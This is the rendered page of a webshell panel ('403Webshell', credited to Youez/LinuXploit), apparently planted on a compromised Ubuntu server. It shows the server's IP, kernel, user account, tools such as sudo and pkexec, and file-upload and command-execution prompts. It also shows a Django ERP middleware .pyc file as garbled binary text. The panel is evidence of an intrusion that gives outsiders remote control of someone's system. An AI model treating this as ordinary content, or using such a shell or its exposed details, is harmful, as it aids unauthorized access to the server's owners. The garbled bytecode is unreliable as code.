403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/accessibility/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/accessibility/__pycache__/middlewares.cpython-310.pyc
o

hͦh�@sFdZddlmZddlmZddlmZiZdd�ZGdd�d�Z	d	S)
z
accessibility/middlewares.py
�)�cache)�check_is_accessible)�ACCESSBILITY_FEATUREcCs:i}tD]\}}t||t|jd��||<qt�||�dS)z(
    Cache for get all the queryset
    �employee_getN)rr�getattr�userr�set)�	cache_key�request�feature_accessible�
accessibility�_display�r�)/var/www/erp/accessibility/middlewares.py�update_accessibility_cache
s
�rc@s eZdZdZdd�Zdd�ZdS)�AccessibilityMiddlewarez!
    AccessibilityMiddleware
    cCs
||_dS)N)�get_response)�selfrrrr�__init__s
z AccessibilityMiddleware.__init__cCsr|jj}|r2|d}t�|jjg�}|s|t|jj<|r2t|jdd�r2t�|�s2|�|�t	||�|�
|�}|S)N�accessibility_filterr)�session�session_key�ACCESSIBILITY_CACHE_USER_KEYS�getr�idrr�appendrr)rr
rr	�exists_user_cache_key�responserrr�__call__!s$����


z AccessibilityMiddleware.__call__N)�__name__�
__module__�__qualname__�__doc__rrrrrrrsrN)
r"�django.core.cacher�accessibility.methodsr�accessibility.modelsrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit